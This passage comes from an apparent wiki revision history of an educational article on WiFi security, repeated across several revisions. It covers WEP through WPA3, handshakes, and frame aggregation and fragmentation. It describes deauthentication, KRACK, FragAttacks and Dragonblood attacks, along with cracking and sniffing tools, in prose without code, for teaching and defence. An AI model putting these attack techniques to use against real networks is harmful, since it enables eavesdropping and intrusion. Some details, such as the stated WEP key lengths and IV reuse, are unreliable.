In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:31:36Z

RSchuller: /* Basics */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

;RC4 Algorithm
The Rivest Cipher 4 Algorithm is a 1987 by RSA Laboratories developed random generator or also called a key stream generator or stream cipher. RC4 works logically by XORing the key to the data. RC4 is used in WEP and early WPA for both, decryption and encryption data. <ref>Lashkari, Arash Habibi and Farnaz, Towhidi and Reheleh, Sadat Hosseini. Wired Equivalent Privacy (WEP). 2009 International Conference on Future Computer and Communication, pages 492–495, 2009.</ref>

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP:

*WEP has no Mechanism to prevent to manipulate data packets. <ref name="wep versus wpa">Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP can not prevent Replay Attacks <ref name="wep versus wpa" />
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. <ref name="wep versus wpa" />
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. <ref name="wep versus wpa" />
*WEP allows attackers to modify messages or data without knowing the encryption key. <ref name="wep versus wpa" />
*with WEP it is easy to manipulate Authentication messages. <ref name="wep versus wpa" />

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:12:00Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP:

*WEP has no Mechanism to prevent to manipulate data packets. <ref name="wep versus wpa">Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP can not prevent Replay Attacks <ref name="wep versus wpa" />
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. <ref name="wep versus wpa" />
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. <ref name="wep versus wpa" />
*WEP allows attackers to modify messages or data without knowing the encryption key. <ref name="wep versus wpa" />
*with WEP it is easy to manipulate Authentication messages. <ref name="wep versus wpa" />

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
